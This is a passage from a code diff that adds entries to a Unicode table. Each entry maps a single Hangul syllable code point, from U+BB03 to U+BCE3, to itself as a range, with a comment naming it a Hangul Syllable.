+ ["\uBB03", "\uBB03"], /* Hangul Syllable */
+ ["\uBB04", "\uBB04"], /* Hangul Syllable */
+ ["\uBB05", "\uBB05"], /* Hangul Syllable */
+ ["\uBB06", "\uBB06"], /* Hangul Syllable */
+ ["\uBB07", "\uBB07"], /* Hangul Syllable */
+ ["\uBB08", "\uBB08"], /* Hangul Syllable */
+ ["\uBB09", "\uBB09"], /* Hangul Syllable */
+ ["\uBB0A", "\uBB0A"], /* Hangul Syllable */
+ ["\uBB0B", "\uBB0B"], /* Hangul Syllable */
+ ["\uBB0C", "\uBB0C"], /* Hangul Syllable */
+ ["\uBB0D", "\uBB0D"], /* Hangul Syllable */
+ ["\uBB0E", "\uBB0E"], /* Hangul Syllable */
+ ["\uBB0F", "\uBB0F"], /* Hangul Syllable */
+ ["\uBB10", "\uBB10"], /* Hangul Syllable */
+ ["\uBB11", "\uBB11"], /* Hangul Syllable */
+ ["\uBB12", "\uBB12"], /* Hangul Syllable */
+ ["\uBB13", "\uBB13"], /* Hangul Syllable */
+ ["\uBB14", "\uBB14"], /* Hangul Syllable */
+ ["\uBB15", "\uBB15"], /* Hangul Syllable */
+ ["\uBB16", "\uBB16"], /* Hangul Syllable */
+ ["\uBB17", "\uBB17"], /* Hangul Syllable */
+ ["\uBB18", "\uBB18"], /* Hangul Syllable */
+ ["\uBB19", "\uBB19"], /* Hangul Syllable */
+ ["\uBB1A", "\uBB1A"], /* Hangul Syllable */
+ ["\uBB1B", "\uBB1B"], /* Hangul Syllable */
+ ["\uBB1C", "\uBB1C"], /* Hangul Syllable */
+ ["\uBB1D", "\uBB1D"], /* Hangul Syllable */
+ ["\uBB1E", "\uBB1E"], /* Hangul Syllable */
+ ["\uBB1F", "\uBB1F"], /* Hangul Syllable */
+ ["\uBB20", "\uBB20"], /* Hangul Syllable */
+ ["\uBB21", "\uBB21"], /* Hangul Syllable */
+ ["\uBB22", "\uBB22"], /* Hangul Syllable */
+ ["\uBB23", "\uBB23"], /* Hangul Syllable */
+ ["\uBB24", "\uBB24"], /* Hangul Syllable */
+ ["\uBB25", "\uBB25"], /* Hangul Syllable */
+ ["\uBB26", "\uBB26"], /* Hangul Syllable */
+ ["\uBB27", "\uBB27"], /* Hangul Syllable */
+ ["\uBB28", "\uBB28"], /* Hangul Syllable */
+ ["\uBB29", "\uBB29"], /* Hangul Syllable */
+ ["\uBB2A", "\uBB2A"], /* Hangul Syllable */
+ ["\uBB2B", "\uBB2B"], /* Hangul Syllable */
+ ["\uBB2C", "\uBB2C"], /* Hangul Syllable */
+ ["\uBB2D", "\uBB2D"], /* Hangul Syllable */
+ ["\uBB2E", "\uBB2E"], /* Hangul Syllable */
+ ["\uBB2F", "\uBB2F"], /* Hangul Syllable */
+ ["\uBB30", "\uBB30"], /* Hangul Syllable */
+ ["\uBB31", "\uBB31"], /* Hangul Syllable */
+ ["\uBB32", "\uBB32"], /* Hangul Syllable */
+ ["\uBB33", "\uBB33"], /* Hangul Syllable */
+ ["\uBB34", "\uBB34"], /* Hangul Syllable */
+ ["\uBB35", "\uBB35"], /* Hangul Syllable */
+ ["\uBB36", "\uBB36"], /* Hangul Syllable */
+ ["\uBB37", "\uBB37"], /* Hangul Syllable */
+ ["\uBB38", "\uBB38"], /* Hangul Syllable */
+ ["\uBB39", "\uBB39"], /* Hangul Syllable */
+ ["\uBB3A", "\uBB3A"], /* Hangul Syllable */
+ ["\uBB3B", "\uBB3B"], /* Hangul Syllable */
+ ["\uBB3C", "\uBB3C"], /* Hangul Syllable */
+ ["\uBB3D", "\uBB3D"], /* Hangul Syllable */
+ ["\uBB3E", "\uBB3E"], /* Hangul Syllable */
+ ["\uBB3F", "\uBB3F"], /* Hangul Syllable */
+ ["\uBB40", "\uBB40"], /* Hangul Syllable */
+ ["\uBB41", "\uBB41"], /* Hangul Syllable */
+ ["\uBB42", "\uBB42"], /* Hangul Syllable */
+ ["\uBB43", "\uBB43"], /* Hangul Syllable */
+ ["\uBB44", "\uBB44"], /* Hangul Syllable */
+ ["\uBB45", "\uBB45"], /* Hangul Syllable */
+ ["\uBB46", "\uBB46"], /* Hangul Syllable */
+ ["\uBB47", "\uBB47"], /* Hangul Syllable */
+ ["\uBB48", "\uBB48"], /* Hangul Syllable */
+ ["\uBB49", "\uBB49"], /* Hangul Syllable */
+ ["\uBB4A", "\uBB4A"], /* Hangul Syllable */
+ ["\uBB4B", "\uBB4B"], /* Hangul Syllable */
+ ["\uBB4C", "\uBB4C"], /* Hangul Syllable */
+ ["\uBB4D", "\uBB4D"], /* Hangul Syllable */
+ ["\uBB4E", "\uBB4E"], /* Hangul Syllable */
+ ["\uBB4F", "\uBB4F"], /* Hangul Syllable */
+ ["\uBB50", "\uBB50"], /* Hangul Syllable */
+ ["\uBB51", "\uBB51"], /* Hangul Syllable */
+ ["\uBB52", "\uBB52"], /* Hangul Syllable */
+ ["\uBB53", "\uBB53"], /* Hangul Syllable */
+ ["\uBB54", "\uBB54"], /* Hangul Syllable */
+ ["\uBB55", "\uBB55"], /* Hangul Syllable */
+ ["\uBB56", "\uBB56"], /* Hangul Syllable */
+ ["\uBB57", "\uBB57"], /* Hangul Syllable */
+ ["\uBB58", "\uBB58"], /* Hangul Syllable */
+ ["\uBB59", "\uBB59"], /* Hangul Syllable */
+ ["\uBB5A", "\uBB5A"], /* Hangul Syllable */
+ ["\uBB5B", "\uBB5B"], /* Hangul Syllable */
+ ["\uBB5C", "\uBB5C"], /* Hangul Syllable */
+ ["\uBB5D", "\uBB5D"], /* Hangul Syllable */
+ ["\uBB5E", "\uBB5E"], /* Hangul Syllable */
+ ["\uBB5F", "\uBB5F"], /* Hangul Syllable */
+ ["\uBB60", "\uBB60"], /* Hangul Syllable */
+ ["\uBB61", "\uBB61"], /* Hangul Syllable */
+ ["\uBB62", "\uBB62"], /* Hangul Syllable */
+ ["\uBB63", "\uBB63"], /* Hangul Syllable */
+ ["\uBB64", "\uBB64"], /* Hangul Syllable */
+ ["\uBB65", "\uBB65"], /* Hangul Syllable */
+ ["\uBB66", "\uBB66"], /* Hangul Syllable */
+ ["\uBB67", "\uBB67"], /* Hangul Syllable */
+ ["\uBB68", "\uBB68"], /* Hangul Syllable */
+ ["\uBB69", "\uBB69"], /* Hangul Syllable */
+ ["\uBB6A", "\uBB6A"], /* Hangul Syllable */
+ ["\uBB6B", "\uBB6B"], /* Hangul Syllable */
+ ["\uBB6C", "\uBB6C"], /* Hangul Syllable */
+ ["\uBB6D", "\uBB6D"], /* Hangul Syllable */
+ ["\uBB6E", "\uBB6E"], /* Hangul Syllable */
+ ["\uBB6F", "\uBB6F"], /* Hangul Syllable */
+ ["\uBB70", "\uBB70"], /* Hangul Syllable */
+ ["\uBB71", "\uBB71"], /* Hangul Syllable */
+ ["\uBB72", "\uBB72"], /* Hangul Syllable */
+ ["\uBB73", "\uBB73"], /* Hangul Syllable */
+ ["\uBB74", "\uBB74"], /* Hangul Syllable */
+ ["\uBB75", "\uBB75"], /* Hangul Syllable */
+ ["\uBB76", "\uBB76"], /* Hangul Syllable */
+ ["\uBB77", "\uBB77"], /* Hangul Syllable */
+ ["\uBB78", "\uBB78"], /* Hangul Syllable */
+ ["\uBB79", "\uBB79"], /* Hangul Syllable */
+ ["\uBB7A", "\uBB7A"], /* Hangul Syllable */
+ ["\uBB7B", "\uBB7B"], /* Hangul Syllable */
+ ["\uBB7C", "\uBB7C"], /* Hangul Syllable */
+ ["\uBB7D", "\uBB7D"], /* Hangul Syllable */
+ ["\uBB7E", "\uBB7E"], /* Hangul Syllable */
+ ["\uBB7F", "\uBB7F"], /* Hangul Syllable */
+ ["\uBB80", "\uBB80"], /* Hangul Syllable */
+ ["\uBB81", "\uBB81"], /* Hangul Syllable */
+ ["\uBB82", "\uBB82"], /* Hangul Syllable */
+ ["\uBB83", "\uBB83"], /* Hangul Syllable */
+ ["\uBB84", "\uBB84"], /* Hangul Syllable */
+ ["\uBB85", "\uBB85"], /* Hangul Syllable */
+ ["\uBB86", "\uBB86"], /* Hangul Syllable */
+ ["\uBB87", "\uBB87"], /* Hangul Syllable */
+ ["\uBB88", "\uBB88"], /* Hangul Syllable */
+ ["\uBB89", "\uBB89"], /* Hangul Syllable */
+ ["\uBB8A", "\uBB8A"], /* Hangul Syllable */
+ ["\uBB8B", "\uBB8B"], /* Hangul Syllable */
+ ["\uBB8C", "\uBB8C"], /* Hangul Syllable */
+ ["\uBB8D", "\uBB8D"], /* Hangul Syllable */
+ ["\uBB8E", "\uBB8E"], /* Hangul Syllable */
+ ["\uBB8F", "\uBB8F"], /* Hangul Syllable */
+ ["\uBB90", "\uBB90"], /* Hangul Syllable */
+ ["\uBB91", "\uBB91"], /* Hangul Syllable */
+ ["\uBB92", "\uBB92"], /* Hangul Syllable */
+ ["\uBB93", "\uBB93"], /* Hangul Syllable */
+ ["\uBB94", "\uBB94"], /* Hangul Syllable */
+ ["\uBB95", "\uBB95"], /* Hangul Syllable */
+ ["\uBB96", "\uBB96"], /* Hangul Syllable */
+ ["\uBB97", "\uBB97"], /* Hangul Syllable */
+ ["\uBB98", "\uBB98"], /* Hangul Syllable */
+ ["\uBB99", "\uBB99"], /* Hangul Syllable */
+ ["\uBB9A", "\uBB9A"], /* Hangul Syllable */
+ ["\uBB9B", "\uBB9B"], /* Hangul Syllable */
+ ["\uBB9C", "\uBB9C"], /* Hangul Syllable */
+ ["\uBB9D", "\uBB9D"], /* Hangul Syllable */
+ ["\uBB9E", "\uBB9E"], /* Hangul Syllable */
+ ["\uBB9F", "\uBB9F"], /* Hangul Syllable */
+ ["\uBBA0", "\uBBA0"], /* Hangul Syllable */
+ ["\uBBA1", "\uBBA1"], /* Hangul Syllable */
+ ["\uBBA2", "\uBBA2"], /* Hangul Syllable */
+ ["\uBBA3", "\uBBA3"], /* Hangul Syllable */
+ ["\uBBA4", "\uBBA4"], /* Hangul Syllable */
+ ["\uBBA5", "\uBBA5"], /* Hangul Syllable */
+ ["\uBBA6", "\uBBA6"], /* Hangul Syllable */
+ ["\uBBA7", "\uBBA7"], /* Hangul Syllable */
+ ["\uBBA8", "\uBBA8"], /* Hangul Syllable */
+ ["\uBBA9", "\uBBA9"], /* Hangul Syllable */
+ ["\uBBAA", "\uBBAA"], /* Hangul Syllable */
+ ["\uBBAB", "\uBBAB"], /* Hangul Syllable */
+ ["\uBBAC", "\uBBAC"], /* Hangul Syllable */
+ ["\uBBAD", "\uBBAD"], /* Hangul Syllable */
+ ["\uBBAE", "\uBBAE"], /* Hangul Syllable */
+ ["\uBBAF", "\uBBAF"], /* Hangul Syllable */
+ ["\uBBB0", "\uBBB0"], /* Hangul Syllable */
+ ["\uBBB1", "\uBBB1"], /* Hangul Syllable */
+ ["\uBBB2", "\uBBB2"], /* Hangul Syllable */
+ ["\uBBB3", "\uBBB3"], /* Hangul Syllable */
+ ["\uBBB4", "\uBBB4"], /* Hangul Syllable */
+ ["\uBBB5", "\uBBB5"], /* Hangul Syllable */
+ ["\uBBB6", "\uBBB6"], /* Hangul Syllable */
+ ["\uBBB7", "\uBBB7"], /* Hangul Syllable */
+ ["\uBBB8", "\uBBB8"], /* Hangul Syllable */
+ ["\uBBB9", "\uBBB9"], /* Hangul Syllable */
+ ["\uBBBA", "\uBBBA"], /* Hangul Syllable */
+ ["\uBBBB", "\uBBBB"], /* Hangul Syllable */
+ ["\uBBBC", "\uBBBC"], /* Hangul Syllable */
+ ["\uBBBD", "\uBBBD"], /* Hangul Syllable */
+ ["\uBBBE", "\uBBBE"], /* Hangul Syllable */
+ ["\uBBBF", "\uBBBF"], /* Hangul Syllable */
+ ["\uBBC0", "\uBBC0"], /* Hangul Syllable */
+ ["\uBBC1", "\uBBC1"], /* Hangul Syllable */
+ ["\uBBC2", "\uBBC2"], /* Hangul Syllable */
+ ["\uBBC3", "\uBBC3"], /* Hangul Syllable */
+ ["\uBBC4", "\uBBC4"], /* Hangul Syllable */
+ ["\uBBC5", "\uBBC5"], /* Hangul Syllable */
+ ["\uBBC6", "\uBBC6"], /* Hangul Syllable */
+ ["\uBBC7", "\uBBC7"], /* Hangul Syllable */
+ ["\uBBC8", "\uBBC8"], /* Hangul Syllable */
+ ["\uBBC9", "\uBBC9"], /* Hangul Syllable */
+ ["\uBBCA", "\uBBCA"], /* Hangul Syllable */
+ ["\uBBCB", "\uBBCB"], /* Hangul Syllable */
+ ["\uBBCC", "\uBBCC"], /* Hangul Syllable */
+ ["\uBBCD", "\uBBCD"], /* Hangul Syllable */
+ ["\uBBCE", "\uBBCE"], /* Hangul Syllable */
+ ["\uBBCF", "\uBBCF"], /* Hangul Syllable */
+ ["\uBBD0", "\uBBD0"], /* Hangul Syllable */
+ ["\uBBD1", "\uBBD1"], /* Hangul Syllable */
+ ["\uBBD2", "\uBBD2"], /* Hangul Syllable */
+ ["\uBBD3", "\uBBD3"], /* Hangul Syllable */
+ ["\uBBD4", "\uBBD4"], /* Hangul Syllable */
+ ["\uBBD5", "\uBBD5"], /* Hangul Syllable */
+ ["\uBBD6", "\uBBD6"], /* Hangul Syllable */
+ ["\uBBD7", "\uBBD7"], /* Hangul Syllable */
+ ["\uBBD8", "\uBBD8"], /* Hangul Syllable */
+ ["\uBBD9", "\uBBD9"], /* Hangul Syllable */
+ ["\uBBDA", "\uBBDA"], /* Hangul Syllable */
+ ["\uBBDB", "\uBBDB"], /* Hangul Syllable */
+ ["\uBBDC", "\uBBDC"], /* Hangul Syllable */
+ ["\uBBDD", "\uBBDD"], /* Hangul Syllable */
+ ["\uBBDE", "\uBBDE"], /* Hangul Syllable */
+ ["\uBBDF", "\uBBDF"], /* Hangul Syllable */
+ ["\uBBE0", "\uBBE0"], /* Hangul Syllable */
+ ["\uBBE1", "\uBBE1"], /* Hangul Syllable */
+ ["\uBBE2", "\uBBE2"], /* Hangul Syllable */
+ ["\uBBE3", "\uBBE3"], /* Hangul Syllable */
+ ["\uBBE4", "\uBBE4"], /* Hangul Syllable */
+ ["\uBBE5", "\uBBE5"], /* Hangul Syllable */
+ ["\uBBE6", "\uBBE6"], /* Hangul Syllable */
+ ["\uBBE7", "\uBBE7"], /* Hangul Syllable */
+ ["\uBBE8", "\uBBE8"], /* Hangul Syllable */
+ ["\uBBE9", "\uBBE9"], /* Hangul Syllable */
+ ["\uBBEA", "\uBBEA"], /* Hangul Syllable */
+ ["\uBBEB", "\uBBEB"], /* Hangul Syllable */
+ ["\uBBEC", "\uBBEC"], /* Hangul Syllable */
+ ["\uBBED", "\uBBED"], /* Hangul Syllable */
+ ["\uBBEE", "\uBBEE"], /* Hangul Syllable */
+ ["\uBBEF", "\uBBEF"], /* Hangul Syllable */
+ ["\uBBF0", "\uBBF0"], /* Hangul Syllable */
+ ["\uBBF1", "\uBBF1"], /* Hangul Syllable */
+ ["\uBBF2", "\uBBF2"], /* Hangul Syllable */
+ ["\uBBF3", "\uBBF3"], /* Hangul Syllable */
+ ["\uBBF4", "\uBBF4"], /* Hangul Syllable */
+ ["\uBBF5", "\uBBF5"], /* Hangul Syllable */
+ ["\uBBF6", "\uBBF6"], /* Hangul Syllable */
+ ["\uBBF7", "\uBBF7"], /* Hangul Syllable */
+ ["\uBBF8", "\uBBF8"], /* Hangul Syllable */
+ ["\uBBF9", "\uBBF9"], /* Hangul Syllable */
+ ["\uBBFA", "\uBBFA"], /* Hangul Syllable */
+ ["\uBBFB", "\uBBFB"], /* Hangul Syllable */
+ ["\uBBFC", "\uBBFC"], /* Hangul Syllable */
+ ["\uBBFD", "\uBBFD"], /* Hangul Syllable */
+ ["\uBBFE", "\uBBFE"], /* Hangul Syllable */
+ ["\uBBFF", "\uBBFF"], /* Hangul Syllable */
+ ["\uBC00", "\uBC00"], /* Hangul Syllable */
+ ["\uBC01", "\uBC01"], /* Hangul Syllable */
+ ["\uBC02", "\uBC02"], /* Hangul Syllable */
+ ["\uBC03", "\uBC03"], /* Hangul Syllable */
+ ["\uBC04", "\uBC04"], /* Hangul Syllable */
+ ["\uBC05", "\uBC05"], /* Hangul Syllable */
+ ["\uBC06", "\uBC06"], /* Hangul Syllable */
+ ["\uBC07", "\uBC07"], /* Hangul Syllable */
+ ["\uBC08", "\uBC08"], /* Hangul Syllable */
+ ["\uBC09", "\uBC09"], /* Hangul Syllable */
+ ["\uBC0A", "\uBC0A"], /* Hangul Syllable */
+ ["\uBC0B", "\uBC0B"], /* Hangul Syllable */
+ ["\uBC0C", "\uBC0C"], /* Hangul Syllable */
+ ["\uBC0D", "\uBC0D"], /* Hangul Syllable */
+ ["\uBC0E", "\uBC0E"], /* Hangul Syllable */
+ ["\uBC0F", "\uBC0F"], /* Hangul Syllable */
+ ["\uBC10", "\uBC10"], /* Hangul Syllable */
+ ["\uBC11", "\uBC11"], /* Hangul Syllable */
+ ["\uBC12", "\uBC12"], /* Hangul Syllable */
+ ["\uBC13", "\uBC13"], /* Hangul Syllable */
+ ["\uBC14", "\uBC14"], /* Hangul Syllable */
+ ["\uBC15", "\uBC15"], /* Hangul Syllable */
+ ["\uBC16", "\uBC16"], /* Hangul Syllable */
+ ["\uBC17", "\uBC17"], /* Hangul Syllable */
+ ["\uBC18", "\uBC18"], /* Hangul Syllable */
+ ["\uBC19", "\uBC19"], /* Hangul Syllable */
+ ["\uBC1A", "\uBC1A"], /* Hangul Syllable */
+ ["\uBC1B", "\uBC1B"], /* Hangul Syllable */
+ ["\uBC1C", "\uBC1C"], /* Hangul Syllable */
+ ["\uBC1D", "\uBC1D"], /* Hangul Syllable */
+ ["\uBC1E", "\uBC1E"], /* Hangul Syllable */
+ ["\uBC1F", "\uBC1F"], /* Hangul Syllable */
+ ["\uBC20", "\uBC20"], /* Hangul Syllable */
+ ["\uBC21", "\uBC21"], /* Hangul Syllable */
+ ["\uBC22", "\uBC22"], /* Hangul Syllable */
+ ["\uBC23", "\uBC23"], /* Hangul Syllable */
+ ["\uBC24", "\uBC24"], /* Hangul Syllable */
+ ["\uBC25", "\uBC25"], /* Hangul Syllable */
+ ["\uBC26", "\uBC26"], /* Hangul Syllable */
+ ["\uBC27", "\uBC27"], /* Hangul Syllable */
+ ["\uBC28", "\uBC28"], /* Hangul Syllable */
+ ["\uBC29", "\uBC29"], /* Hangul Syllable */
+ ["\uBC2A", "\uBC2A"], /* Hangul Syllable */
+ ["\uBC2B", "\uBC2B"], /* Hangul Syllable */
+ ["\uBC2C", "\uBC2C"], /* Hangul Syllable */
+ ["\uBC2D", "\uBC2D"], /* Hangul Syllable */
+ ["\uBC2E", "\uBC2E"], /* Hangul Syllable */
+ ["\uBC2F", "\uBC2F"], /* Hangul Syllable */
+ ["\uBC30", "\uBC30"], /* Hangul Syllable */
+ ["\uBC31", "\uBC31"], /* Hangul Syllable */
+ ["\uBC32", "\uBC32"], /* Hangul Syllable */
+ ["\uBC33", "\uBC33"], /* Hangul Syllable */
+ ["\uBC34", "\uBC34"], /* Hangul Syllable */
+ ["\uBC35", "\uBC35"], /* Hangul Syllable */
+ ["\uBC36", "\uBC36"], /* Hangul Syllable */
+ ["\uBC37", "\uBC37"], /* Hangul Syllable */
+ ["\uBC38", "\uBC38"], /* Hangul Syllable */
+ ["\uBC39", "\uBC39"], /* Hangul Syllable */
+ ["\uBC3A", "\uBC3A"], /* Hangul Syllable */
+ ["\uBC3B", "\uBC3B"], /* Hangul Syllable */
+ ["\uBC3C", "\uBC3C"], /* Hangul Syllable */
+ ["\uBC3D", "\uBC3D"], /* Hangul Syllable */
+ ["\uBC3E", "\uBC3E"], /* Hangul Syllable */
+ ["\uBC3F", "\uBC3F"], /* Hangul Syllable */
+ ["\uBC40", "\uBC40"], /* Hangul Syllable */
+ ["\uBC41", "\uBC41"], /* Hangul Syllable */
+ ["\uBC42", "\uBC42"], /* Hangul Syllable */
+ ["\uBC43", "\uBC43"], /* Hangul Syllable */
+ ["\uBC44", "\uBC44"], /* Hangul Syllable */
+ ["\uBC45", "\uBC45"], /* Hangul Syllable */
+ ["\uBC46", "\uBC46"], /* Hangul Syllable */
+ ["\uBC47", "\uBC47"], /* Hangul Syllable */
+ ["\uBC48", "\uBC48"], /* Hangul Syllable */
+ ["\uBC49", "\uBC49"], /* Hangul Syllable */
+ ["\uBC4A", "\uBC4A"], /* Hangul Syllable */
+ ["\uBC4B", "\uBC4B"], /* Hangul Syllable */
+ ["\uBC4C", "\uBC4C"], /* Hangul Syllable */
+ ["\uBC4D", "\uBC4D"], /* Hangul Syllable */
+ ["\uBC4E", "\uBC4E"], /* Hangul Syllable */
+ ["\uBC4F", "\uBC4F"], /* Hangul Syllable */
+ ["\uBC50", "\uBC50"], /* Hangul Syllable */
+ ["\uBC51", "\uBC51"], /* Hangul Syllable */
+ ["\uBC52", "\uBC52"], /* Hangul Syllable */
+ ["\uBC53", "\uBC53"], /* Hangul Syllable */
+ ["\uBC54", "\uBC54"], /* Hangul Syllable */
+ ["\uBC55", "\uBC55"], /* Hangul Syllable */
+ ["\uBC56", "\uBC56"], /* Hangul Syllable */
+ ["\uBC57", "\uBC57"], /* Hangul Syllable */
+ ["\uBC58", "\uBC58"], /* Hangul Syllable */
+ ["\uBC59", "\uBC59"], /* Hangul Syllable */
+ ["\uBC5A", "\uBC5A"], /* Hangul Syllable */
+ ["\uBC5B", "\uBC5B"], /* Hangul Syllable */
+ ["\uBC5C", "\uBC5C"], /* Hangul Syllable */
+ ["\uBC5D", "\uBC5D"], /* Hangul Syllable */
+ ["\uBC5E", "\uBC5E"], /* Hangul Syllable */
+ ["\uBC5F", "\uBC5F"], /* Hangul Syllable */
+ ["\uBC60", "\uBC60"], /* Hangul Syllable */
+ ["\uBC61", "\uBC61"], /* Hangul Syllable */
+ ["\uBC62", "\uBC62"], /* Hangul Syllable */
+ ["\uBC63", "\uBC63"], /* Hangul Syllable */
+ ["\uBC64", "\uBC64"], /* Hangul Syllable */
+ ["\uBC65", "\uBC65"], /* Hangul Syllable */
+ ["\uBC66", "\uBC66"], /* Hangul Syllable */
+ ["\uBC67", "\uBC67"], /* Hangul Syllable */
+ ["\uBC68", "\uBC68"], /* Hangul Syllable */
+ ["\uBC69", "\uBC69"], /* Hangul Syllable */
+ ["\uBC6A", "\uBC6A"], /* Hangul Syllable */
+ ["\uBC6B", "\uBC6B"], /* Hangul Syllable */
+ ["\uBC6C", "\uBC6C"], /* Hangul Syllable */
+ ["\uBC6D", "\uBC6D"], /* Hangul Syllable */
+ ["\uBC6E", "\uBC6E"], /* Hangul Syllable */
+ ["\uBC6F", "\uBC6F"], /* Hangul Syllable */
+ ["\uBC70", "\uBC70"], /* Hangul Syllable */
+ ["\uBC71", "\uBC71"], /* Hangul Syllable */
+ ["\uBC72", "\uBC72"], /* Hangul Syllable */
+ ["\uBC73", "\uBC73"], /* Hangul Syllable */
+ ["\uBC74", "\uBC74"], /* Hangul Syllable */
+ ["\uBC75", "\uBC75"], /* Hangul Syllable */
+ ["\uBC76", "\uBC76"], /* Hangul Syllable */
+ ["\uBC77", "\uBC77"], /* Hangul Syllable */
+ ["\uBC78", "\uBC78"], /* Hangul Syllable */
+ ["\uBC79", "\uBC79"], /* Hangul Syllable */
+ ["\uBC7A", "\uBC7A"], /* Hangul Syllable */
+ ["\uBC7B", "\uBC7B"], /* Hangul Syllable */
+ ["\uBC7C", "\uBC7C"], /* Hangul Syllable */
+ ["\uBC7D", "\uBC7D"], /* Hangul Syllable */
+ ["\uBC7E", "\uBC7E"], /* Hangul Syllable */
+ ["\uBC7F", "\uBC7F"], /* Hangul Syllable */
+ ["\uBC80", "\uBC80"], /* Hangul Syllable */
+ ["\uBC81", "\uBC81"], /* Hangul Syllable */
+ ["\uBC82", "\uBC82"], /* Hangul Syllable */
+ ["\uBC83", "\uBC83"], /* Hangul Syllable */
+ ["\uBC84", "\uBC84"], /* Hangul Syllable */
+ ["\uBC85", "\uBC85"], /* Hangul Syllable */
+ ["\uBC86", "\uBC86"], /* Hangul Syllable */
+ ["\uBC87", "\uBC87"], /* Hangul Syllable */
+ ["\uBC88", "\uBC88"], /* Hangul Syllable */
+ ["\uBC89", "\uBC89"], /* Hangul Syllable */
+ ["\uBC8A", "\uBC8A"], /* Hangul Syllable */
+ ["\uBC8B", "\uBC8B"], /* Hangul Syllable */
+ ["\uBC8C", "\uBC8C"], /* Hangul Syllable */
+ ["\uBC8D", "\uBC8D"], /* Hangul Syllable */
+ ["\uBC8E", "\uBC8E"], /* Hangul Syllable */
+ ["\uBC8F", "\uBC8F"], /* Hangul Syllable */
+ ["\uBC90", "\uBC90"], /* Hangul Syllable */
+ ["\uBC91", "\uBC91"], /* Hangul Syllable */
+ ["\uBC92", "\uBC92"], /* Hangul Syllable */
+ ["\uBC93", "\uBC93"], /* Hangul Syllable */
+ ["\uBC94", "\uBC94"], /* Hangul Syllable */
+ ["\uBC95", "\uBC95"], /* Hangul Syllable */
+ ["\uBC96", "\uBC96"], /* Hangul Syllable */
+ ["\uBC97", "\uBC97"], /* Hangul Syllable */
+ ["\uBC98", "\uBC98"], /* Hangul Syllable */
+ ["\uBC99", "\uBC99"], /* Hangul Syllable */
+ ["\uBC9A", "\uBC9A"], /* Hangul Syllable */
+ ["\uBC9B", "\uBC9B"], /* Hangul Syllable */
+ ["\uBC9C", "\uBC9C"], /* Hangul Syllable */
+ ["\uBC9D", "\uBC9D"], /* Hangul Syllable */
+ ["\uBC9E", "\uBC9E"], /* Hangul Syllable */
+ ["\uBC9F", "\uBC9F"], /* Hangul Syllable */
+ ["\uBCA0", "\uBCA0"], /* Hangul Syllable */
+ ["\uBCA1", "\uBCA1"], /* Hangul Syllable */
+ ["\uBCA2", "\uBCA2"], /* Hangul Syllable */
+ ["\uBCA3", "\uBCA3"], /* Hangul Syllable */
+ ["\uBCA4", "\uBCA4"], /* Hangul Syllable */
+ ["\uBCA5", "\uBCA5"], /* Hangul Syllable */
+ ["\uBCA6", "\uBCA6"], /* Hangul Syllable */
+ ["\uBCA7", "\uBCA7"], /* Hangul Syllable */
+ ["\uBCA8", "\uBCA8"], /* Hangul Syllable */
+ ["\uBCA9", "\uBCA9"], /* Hangul Syllable */
+ ["\uBCAA", "\uBCAA"], /* Hangul Syllable */
+ ["\uBCAB", "\uBCAB"], /* Hangul Syllable */
+ ["\uBCAC", "\uBCAC"], /* Hangul Syllable */
+ ["\uBCAD", "\uBCAD"], /* Hangul Syllable */
+ ["\uBCAE", "\uBCAE"], /* Hangul Syllable */
+ ["\uBCAF", "\uBCAF"], /* Hangul Syllable */
+ ["\uBCB0", "\uBCB0"], /* Hangul Syllable */
+ ["\uBCB1", "\uBCB1"], /* Hangul Syllable */
+ ["\uBCB2", "\uBCB2"], /* Hangul Syllable */
+ ["\uBCB3", "\uBCB3"], /* Hangul Syllable */
+ ["\uBCB4", "\uBCB4"], /* Hangul Syllable */
+ ["\uBCB5", "\uBCB5"], /* Hangul Syllable */
+ ["\uBCB6", "\uBCB6"], /* Hangul Syllable */
+ ["\uBCB7", "\uBCB7"], /* Hangul Syllable */
+ ["\uBCB8", "\uBCB8"], /* Hangul Syllable */
+ ["\uBCB9", "\uBCB9"], /* Hangul Syllable */
+ ["\uBCBA", "\uBCBA"], /* Hangul Syllable */
+ ["\uBCBB", "\uBCBB"], /* Hangul Syllable */
+ ["\uBCBC", "\uBCBC"], /* Hangul Syllable */
+ ["\uBCBD", "\uBCBD"], /* Hangul Syllable */
+ ["\uBCBE", "\uBCBE"], /* Hangul Syllable */
+ ["\uBCBF", "\uBCBF"], /* Hangul Syllable */
+ ["\uBCC0", "\uBCC0"], /* Hangul Syllable */
+ ["\uBCC1", "\uBCC1"], /* Hangul Syllable */
+ ["\uBCC2", "\uBCC2"], /* Hangul Syllable */
+ ["\uBCC3", "\uBCC3"], /* Hangul Syllable */
+ ["\uBCC4", "\uBCC4"], /* Hangul Syllable */
+ ["\uBCC5", "\uBCC5"], /* Hangul Syllable */
+ ["\uBCC6", "\uBCC6"], /* Hangul Syllable */
+ ["\uBCC7", "\uBCC7"], /* Hangul Syllable */
+ ["\uBCC8", "\uBCC8"], /* Hangul Syllable */
+ ["\uBCC9", "\uBCC9"], /* Hangul Syllable */
+ ["\uBCCA", "\uBCCA"], /* Hangul Syllable */
+ ["\uBCCB", "\uBCCB"], /* Hangul Syllable */
+ ["\uBCCC", "\uBCCC"], /* Hangul Syllable */
+ ["\uBCCD", "\uBCCD"], /* Hangul Syllable */
+ ["\uBCCE", "\uBCCE"], /* Hangul Syllable */
+ ["\uBCCF", "\uBCCF"], /* Hangul Syllable */
+ ["\uBCD0", "\uBCD0"], /* Hangul Syllable */
+ ["\uBCD1", "\uBCD1"], /* Hangul Syllable */
+ ["\uBCD2", "\uBCD2"], /* Hangul Syllable */
+ ["\uBCD3", "\uBCD3"], /* Hangul Syllable */
+ ["\uBCD4", "\uBCD4"], /* Hangul Syllable */
+ ["\uBCD5", "\uBCD5"], /* Hangul Syllable */
+ ["\uBCD6", "\uBCD6"], /* Hangul Syllable */
+ ["\uBCD7", "\uBCD7"], /* Hangul Syllable */
+ ["\uBCD8", "\uBCD8"], /* Hangul Syllable */
+ ["\uBCD9", "\uBCD9"], /* Hangul Syllable */
+ ["\uBCDA", "\uBCDA"], /* Hangul Syllable */
+ ["\uBCDB", "\uBCDB"], /* Hangul Syllable */
+ ["\uBCDC", "\uBCDC"], /* Hangul Syllable */
+ ["\uBCDD", "\uBCDD"], /* Hangul Syllable */
+ ["\uBCDE", "\uBCDE"], /* Hangul Syllable */
+ ["\uBCDF", "\uBCDF"], /* Hangul Syllable */
+ ["\uBCE0", "\uBCE0"], /* Hangul Syllable */
+ ["\uBCE1", "\uBCE1"], /* Hangul Syllable */
+ ["\uBCE2", "\uBCE2"], /* Hangul Syllable */
+ ["\uBCE3", "\uBCE3"], /* Hangul Syllable */
